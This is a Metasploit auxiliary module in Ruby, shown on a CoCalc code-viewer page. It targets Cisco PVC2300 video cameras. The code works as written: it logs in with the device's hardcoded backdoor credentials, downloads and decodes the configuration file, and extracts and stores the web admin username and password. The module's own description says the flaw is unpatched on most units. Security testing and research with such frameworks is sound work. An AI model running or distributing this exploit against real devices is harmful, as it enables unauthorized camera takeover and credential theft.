CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/cisco_pvc2300_download_config.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
prepend Msf::Exploit::Remote::AutoCheck
8
include Msf::Exploit::Remote::HttpClient
9
include Msf::Auxiliary::Report
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
{
16
'Name' => 'Cisco PVC2300 POE Video Camera configuration download',
17
'Description' => %q{
18
This module exploits an information disclosure vulnerability in Cisco PVC2300 cameras in order
19
to download the configuration file containing the admin credentials for the web interface.
20
21
The module first performs a basic check to see if the target is likely Cisco PVC2300. If so, the
22
module attempts to obtain a sessionID via an HTTP GET request to the vulnerable /oamp/System.xml
23
endpoint using hardcoded credentials.
24
25
If a session ID is obtained, the module uses it in another HTTP GET request to /oamp/System.xml
26
with the aim of downloading the configuration file. The configuration file, if obtained, is then
27
decoded and saved to the loot directory. Finally, the module attempts to extract the admin
28
credentials to the web interface from the decoded configuration file.
29
30
No known solution was made available for this vulnerability and no CVE has been published. It is
31
therefore likely that most (if not all) Cisco PVC2300 cameras are affected.
32
33
This module was successfully tested against several Cisco PVC2300 cameras.
34
},
35
'License' => MSF_LICENSE,
36
'Author' => [
37
'Craig Heffner', # vulnerability discovery and PoC
38
'Erik Wynter', # @wyntererik - Metasploit
39
],
40
'References' => [
41
[ 'URL', 'https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf' ], # blackhat presentation - unofficial source
42
[ 'URL', 'https://media.blackhat.com/us-13/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf'], # blackhat presentation - official source (not working)
43
[ 'URL', 'https://www.youtube.com/watch?v=B8DjTcANBx0'] # full blackhat presentation
44
],
45
'DisclosureDate' => '2013-07-12',
46
'Notes' => {
47
'Stability' => [CRASH_SAFE],
48
'Reliability' => [REPEATABLE_SESSION], # the attack can be repeated, but a timeout of several minutes may be necessary between exploit attempts
49
'SideEffects' => [IOC_IN_LOGS]
50
}
51
}
52
)
53
)
54
end
55
56
def custom_base64_alphabet
57
'ACEGIKMOQSUWYBDFHJLNPRTVXZacegikmoqsuwybdfhjlnprtvxz0246813579=+'
58
end
59
60
def default_base64_alphabet
61
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
62
end
63
64
def request_session_id
65
vprint_status('Attempting to obtain a session ID')
66
# the creds used here are basically a backdoor
67
res = send_request_cgi({
68
'method' => 'GET',
69
'uri' => normalize_uri(target_uri.path, 'oamp', 'System.xml'),
70
'vars_get' => {
71
'action' => 'login',
72
'user' => 'L1_admin',
73
'password' => 'L1_51'
74
}
75
})
76
77
unless res
78
fail_with(Failure::Unknown, 'Connection failed when trying to obtain a session ID')
79
end
80
81
unless res.code == 200
82
fail_with(Failure::NotVulnerable, "Received unexpected response code #{res.code} while trying to obtain a session ID.")
83
end
84
85
if res.headers.include?('sessionID') && !res.headers['sessionID'].blank?
86
session_id = res.headers['sessionID']
87
print_status("The target may be vulnerable. Obtained sessionID #{session_id}")
88
return session_id
89
end
90
91
# try to check the status message in the response body
92
# the status may indicate if the target is perhaps only temporarily unavailable, which was encountered when testing the module repeatedly
93
status = res.body.scan(%r{<statusString>(.*?)</statusString>})&.flatten&.first&.strip
94
if status.blank?
95
fail_with(Failure::NotVulnerable, 'Failed to obtain a session ID.')
96
end
97
98
if status == 'try it later'
99
fail_with(Failure::Unknown, "Failed to obtain a session ID. The server responded with status: #{status}. The target may still be vulnerable.")
100
else
101
fail_with(Failure::NotVulnerable, "Failed to obtain a session ID. The server responded with status: #{status}")
102
end
103
end
104
105
def download_config_file(session_id)
106
vprint_status('Attempting to download the configuration file')
107
108
res = send_request_cgi({
109
'method' => 'GET',
110
'uri' => normalize_uri(target_uri.path, 'oamp', 'System.xml'),
111
'headers' => {
112
'sessionID' => session_id
113
},
114
'vars_get' => {
115
'action' => 'downloadConfigurationFile'
116
}
117
})
118
119
unless res
120
fail_with(Failure::Unknown, 'Connection failed when trying to download the configuration file')
121
end
122
123
unless res.code == 200 && !res.body.empty?
124
fail_with(Failure::NotVulnerable, 'Failed to obtain the configuration file')
125
end
126
127
# if the exploit doesn't work, the response body should be empty. So if we have anything, we can assume we're in business
128
res.body
129
end
130
131
def decode_config_file(config_file_encoded)
132
# if we've made it all the way here, this shouldn't break, but better safe than sorry
133
begin
134
config_file_base64 = config_file_encoded.tr(custom_base64_alphabet, default_base64_alphabet)
135
config_file_decoded = Base64.decode64(config_file_base64)
136
rescue StandardError => e
137
print_error('Encountered the following error when attempting to decode the configuration file:')
138
print_error(e)
139
fail_with(Failure::Unknown, 'Failed to decode the configuration file')
140
end
141
142
# let's just save the full config at this point
143
path = store_loot('ciscopvc.config', 'text/plain', rhost, config_file_decoded)
144
print_good('Successfully downloaded the configuration file')
145
print_status("Saving the full configuration file to #{path}")
146
147
# let's see if we can grab the device name from the config file
148
if config_file_decoded =~ /comment=.*? Video Camera/
149
device_name = config_file_decoded.scan(/comment=(.*?)$/)&.flatten&.first&.strip
150
unless device_name.blank?
151
print_status("Obtained device name #{device_name}")
152
end
153
end
154
155
# try to grab the admin username and password from the config file
156
admin_name = nil
157
admin_password = nil
158
if config_file_decoded.include?('admin_name')
159
admin_name = config_file_decoded.scan(/admin_name=(.*?)$/)&.flatten&.first&.strip
160
end
161
162
if config_file_decoded.include?('admin_password')
163
admin_password = config_file_decoded.scan(/admin_password=(.*?)$/)&.flatten&.first&.strip
164
end
165
166
if admin_name.blank? && admin_password.blank?
167
print_error('Failed to obtain the admin credentials from the configuration file')
168
else
169
print_good('Obtained the following admin credentials for the web interface from the configuration file:')
170
print_status("admin username: #{admin_name}")
171
print_status("admin password: #{admin_password}")
172
# save the creds to the db
173
report_creds(admin_name, admin_password)
174
end
175
end
176
177
def report_creds(username, password)
178
service_data = {
179
address: datastore['RHOST'],
180
port: datastore['RPORT'],
181
service_name: 'http',
182
protocol: 'tcp',
183
workspace_id: myworkspace_id
184
}
185
186
credential_data = {
187
module_fullname: fullname,
188
origin_type: :service,
189
private_data: password,
190
private_type: :password,
191
username: username
192
}.merge(service_data)
193
194
credential_core = create_credential(credential_data)
195
196
login_data = {
197
core: credential_core,
198
status: Metasploit::Model::Login::Status::UNTRIED
199
}.merge(service_data)
200
201
create_credential_login(login_data)
202
end
203
204
def check
205
res1 = send_request_cgi('uri' => normalize_uri(target_uri.path))
206
207
unless res1
208
return Exploit::CheckCode::Unknown('Target is unreachable.')
209
end
210
211
# string togetether a few checks to make it more likely we're dealing with a Cisco camera
212
unless res1.code == 401 && res1.headers.include?('WWW-Authenticate') && res1.headers['WWW-Authenticate'] == 'Basic realm="IP Camera"'
213
return Exploit::CheckCode::Safe('Target is not a Cisco PVC2300 POE Video Camera')
214
end
215
216
res2 = send_request_cgi('uri' => normalize_uri(target_uri.path, 'oamp', 'System.xml'))
217
unless res2
218
return Exploit::CheckCode::Unknown('Target is unreachable.')
219
end
220
221
unless res2.code == 200 && res2.body =~ %r{<ActionStatus><statusCode>.*?</statusCode><statusString>.*?</statusString></ActionStatus>}
222
return Exploit::CheckCode::Safe('Target is not a Cisco PVC2300 POE Video Camera')
223
end
224
225
vprint_status('Target seems to be a Cisco camera')
226
Exploit::CheckCode::Appears
227
end
228
229
def run
230
session_id = request_session_id
231
config_file = download_config_file(session_id)
232
decode_config_file(config_file)
233
end
234
end
235
236